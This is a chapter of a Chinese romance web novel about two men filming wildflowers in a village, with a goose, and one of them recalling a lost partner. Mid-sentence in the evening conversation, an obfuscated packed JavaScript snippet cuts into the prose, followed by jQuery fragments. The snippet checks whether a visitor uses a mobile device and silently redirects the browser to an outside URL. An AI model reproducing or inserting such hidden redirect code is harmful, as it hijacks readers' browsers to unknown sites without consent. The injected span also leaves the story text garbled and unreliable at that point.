沈叙睁开眼，窗外的天还没亮透，灰蒙蒙的晨光里，老槐树的影子在墙上晃。他侧耳听了听，声音是从院子里传来的，像是什么东西在地上拖。
他摸过手机看了一眼：五点二十。
比昨天醒得还早。
陆时砚正蹲在院子里，面前摆着那台相机、三脚架、几块黑的黑的白的板子，还有一堆他叫不出名字的东西。那只叫村霸的鹅蹲在他旁边，难得安静，只是偶尔歪一歪脑袋，像是在观摩。
听到开门声，陆时砚抬头看了他一眼：“起这么早？”
沈叙走过去，蹲在他旁边：“你在干什么？”
“准备器材。”陆时砚拿起一块白色的板子，“今天拍视频要用。”
沈叙看着那块板子，上面蒙着一层半透明的布，边缘有个手柄。他问：“这是什么？”
“反光板。”
沈叙盯着它看了两秒，问：“怎么用？”
陆时衍没回答，而是把板子举起来，对着刚刚露出一点轮廓的远山，调整了一下角度。那层半透明的布把晨光折射成一片柔和的光晕，落在他的脸上，把他的轮廓勾勒得很柔和。
“就是这样用。”他说。
沈叙看着他在晨光里的侧脸，忽然觉得这个画面比什么视频都好看。
村霸在旁边“嘎”了一声，那表情分明在说：你又在想什么失礼的事？沈叙默默移开视线。
早饭是简单的白粥和咸菜。吃完饭后，陆时砚开始给沈叙上课——反光板的使用方法。
“反光板的作用是补光。”陆时砚把板子展开，“逆光的时候，人脸会黑，用它把光反射到脸上，就能看清楚。”
“顺光的时候可以不用，或者用来压光。”陆时砚继续讲，“侧光的时候可以用来填充阴影。”
沈叙认真点头，陆时砚看他那认真的样子，把板子递给他：“你试试。”
接过板子，按照刚才看到的姿势举起来，对着陆时砚的脸。
陆时砚：“你对着我干什么？对着太阳。”
沈叙赶紧调整方向。板子在他手里不太听话，角度怎么都对不准，光斑一会儿落在地上，一会儿落在墙上，就是落不到陆时砚脸上。
陆时砚走过来，站在他身后，伸手帮他调整角度。
他又离得很近，近到沈叙能闻到他身上淡淡的皂角味，混着早晨的阳光和露水的味道。
“手腕放松，不要绷着。”陆时砚的声音在他耳边响起，“对，就是这个角度。光反射回来，照在拍摄对象上。”
沈叙僵硬地举着板子，大脑一片空白。
“记住了？”
“嗯。”
陆时砚退后一步：“那你举着，我去拿相机。”他转身走了。沈叙站在原地，举着那块反光板，光斑落在空地上，亮晃晃的一团。
村霸走过来，蹲在那团光斑里，开始晒太阳。沈叙看着它，它眯着眼睛看他，那表情分明在说：反正你不用，我用了。
陆时砚拿着相机出来，看到这一幕，嘴角弯了弯：“看来它很喜欢你。”
沈叙：“它明明是喜欢光。”
陆时砚：“光是你打的。”
沈叙愣了一下，忽然觉得这句话好像有哪里不对。
今天的拍摄地点在村后的山坡上。陆时砚说要去拍春天的野花，那些星星点点的小野花，只有这个季节才有。
沈叙背着反光板，提着装器材的包，跟在陆时砚后面。村霸居然也跟着，保持着三米的距离，不紧不慢地走。
山坡不高，但路不好走，都是土路，还有碎石子。沈叙穿着他的深灰色西装，皮鞋踩在石子上，发出咯吱咯吱的响声。
陆时砚回头看了一眼他的鞋，什么也没说，但那表情沈叙已经能读懂了：你自找的。
山坡上果然有很多野花。紫色的、黄色的、白色的，小朵小朵地开在草丛里，不仔细看都发现不了。陆时砚架好相机，开始取景。沈叙举着反光板，按照他说的角度调整，把阳光反射到那些小花上。
村霸蹲在旁边，看着他们忙碌，偶尔低头啃一口草，然后皱起眉头——好像不太好吃。
陆时砚拍了很久，一会儿趴在地上，一会儿蹲着，一会儿又站起来换镜头。沈叙一直举着反光板，手臂开始发酸，但他没吭声。
拍完一组，陆时砚回头看他：“累吗？”
沈叙：“还行。”
陆时砚走过来，接过反光板看了看他举的位置，然后说：“其实刚才那个角度，可以不用一直举着。”
沈叙：“……你怎么不早说？”
陆时砚：“你也没问。”
“……”
村霸在旁边“嘎”了一声，这次明显是在笑。
中午太阳大了，不适合拍，两人收拾东西往回走。路过一块大石头，陆时砚忽然停下，指着石头缝里的一丛野花：“这个没见过。”
沈叙凑过去看。那丛花很小，淡紫色的花瓣，中间是黄色的蕊，长在石头缝里，倔强地开着。
陆时砚拿出相机，换了个微距镜头，趴在地上开始拍。沈叙举着反光板，帮他补光。
阳光从头顶照下来，陆时砚趴在地上，专注地盯着取景器，完全没注意到自己的T恤上沾了土，头发上也落了一小片草叶。
沈叙看着他那副样子，忽然觉得这个人好像也没那么高冷了。
拍完那丛花，陆时砚站起来，拍了拍身上的土，接过反光板收起来。他看了沈叙一眼，忽然问：“你笑什么？”
沈叙一愣：“我没笑。”
陆时砚：“你刚才嘴角弯了。”
沈叙：“……那是太阳晒的。”
陆时砚看了他一眼，那表情分明在说：你编。但他什么也没说，转身往回走。
沈叙跟在后面，走了两步，忽然发现村霸没跟上来。回头一看，那只鹅正站在那块大石头上，昂着头，眺望远方的山，姿势像一尊雕塑。
沈叙喊它：“喂，走了。”
村霸没动。
沈叙又喊了一声：“村霸！”
村霸这才慢悠悠地转过头，居高临下地看了他一眼，然后从石头上跳下来，迈着六亲不认的步伐走过来。
路过沈叙的时候，它忽然停下来，用嘴巴啄了啄他的裤腿。
沈叙低头一看，裤腿上沾了一根草。他愣了一下，抬头看向村霸。村霸已经走远了，背影看起来很拽。
下午，陆时砚在剪辑上午拍的素材。沈叙坐在旁边看，一边看一边记。
屏幕上，那些小野花在阳光下闪闪发光，光线柔和，色彩饱满，看起来比实物好看多了。
陆时砚一边剪一边给他讲：这个镜头为什么留，那个镜头为什么删，这段配乐应该用什么风格，那个转场可以怎么处理。
沈叙听得认真，偶尔问一两个问题。陆时砚的回答永远简短，但总能说到点子上。
剪到一半，陆时砚忽然停下来，指着屏幕上的一个镜头：“你看这个。”
沈叙凑过去看。那是上午拍的那丛石头缝里的花，光线正好，花瓣半透明，能看见细密的纹路。
“这个光线，是你刚才补的。”陆时砚说。
陆时砚接着说：“没有反光板，拍不出这个效果。”
沈叙看着屏幕上那朵花，忽然觉得手臂的酸痛都值了。
晚饭后，两人坐在院子里乘凉。天还没黑透，西边还有一抹橘红色的光，把云彩染成淡淡的粉色。村霸在墙角打盹，偶尔动一动腿。
沈叙忽然问：“你以前拍的风景，都是这样的吗？”
陆时砚沉默了一会儿，然后说：“以前拍过很多地方。雪山，沙漠，草原，海边。”
沈叙想象了一下那些画面，问：“那你为什么回来了？”
陆时砚没回答。
沈叙意识到自己可能问了不该问的，正想岔开话题，陆时砚忽然开口：“拍
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305519|198711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
够了。”
就三个字。但沈叙听出了那三个字后面的东西，识趣地没有继续问。
月亮升起来了，比昨晚更圆一点，清清冷冷地挂在天上。院子里很安静，只有虫鸣声此起彼伏。
陆时砚忽然站起来，走进屋里。过了一会儿，他拿着一个旧相册出来，递给沈叙。
沈叙接过来，翻开。
第一页，是一张雪山的照片。白雪覆盖的山峰，在阳光下闪闪发光，蓝得不真实的天，还有经幡在风中飘扬。
他翻到第二页，是一片沙漠。连绵起伏的沙丘，被夕阳染成金红色，有一串脚印延伸向远方。
第三页，是一片草原。风吹草低，牛羊成群，天边的云压得很低，好像一伸手就能碰到。
第四页，是一片海。浪花拍打着礁石，海鸥在天空盘旋，远处的海平面和天连在一起，分不清边界。
每一张都美得不真实，沈叙一页一页翻着，忽然停下来。
这一页只有一张照片，是一个背影。那人站在山巅，背对镜头，面朝远方的云海。风吹起他的衣角，他的头发有些乱，但整个画面安静得像是永恒。
沈叙看着那个背影，问：“这是谁？”
陆时砚沉默了一会儿，说：“以前的搭档。”
沈叙没再问。
他把相册合上，还给陆时砚。
陆时砚接过相册，低头看了一会儿，忽然说：“这个人，后来分开了。照片留在我这里，人走了。”
沈叙不知道该说什么。陆时砚把相册放在一边，靠在椅背上，看着天上的月亮：“那几年拍了很多地方，但拍到最后，发现镜头里都是空的。”他的声音很平静，像是在说别人的事。
“后来我就不拍了。回来，开始拍这些花花草草，鸡鸭鹅狗。”他顿了顿，“至少它们不会走。”
沈叙听着，心里忽然有点酸。
他想起自己刚来那天，陆时砚站在院子里，穿着那件洗得发白的灰T恤，表情淡淡的，好像对什么都不太在意。
原来不是不在意。
是不敢在意。
村霸不知道什么时候醒了，慢悠悠地走过来，在陆时砚脚边蹲下，把脑袋搁在他鞋面上。
陆时砚低头看了它一眼，没动。
沈叙忽然问：“它叫什么来着？”
陆时砚：“村霸。”
沈叙：“全名呢？”
陆时砚想了想：“陆村霸。”
沈叙愣了一下：“跟你姓？”
陆时砚：“嗯。捡的。”
沈叙看着那只把脑袋搁在陆时砚鞋面上的鹅，忽然觉得它也没那么凶了。
可能是月光太温柔，可能是晚风太轻，也可能是那个人坐在旁边的样子太安静。沈叙忽然想伸手拍拍他的肩膀，告诉他：我不会走。
最后他没动，只是坐在那里，和他一起看月亮。过了很久，陆时砚忽然说：“明天还要拍，早点睡。”
他站起来，把相册夹在腋下，往屋里走。走了两步，又停下，头也不回地说：“今天反光板举得不错。”
沈叙坐在院子里，看着他的背影消失在门里，嘴角慢慢弯起来。村霸还蹲在他脚边，抬头看他，那表情分明在说：你傻笑什么？
沈叙低头看它：“他说我举得不错。”
村霸“嘎”了一声，那表情分明在说：就这？
但沈叙还是笑。
月亮很亮，晚风很轻，院子里很安静。他坐在那里，看着那扇已经关上的门，心里忽然涌起一个念头：
他想留下来。
作为能陪他一起看月亮的人，留下来。
这个念头一冒出来，他自己都吓了一跳。他赶紧站起来，拍了拍身上的灰，往自己屋里走。
走了两步，又回头看了一眼那扇门，门关着，里面没有灯光，什么都看不见。
这夜，他难得失眠。
因为心跳得太快了。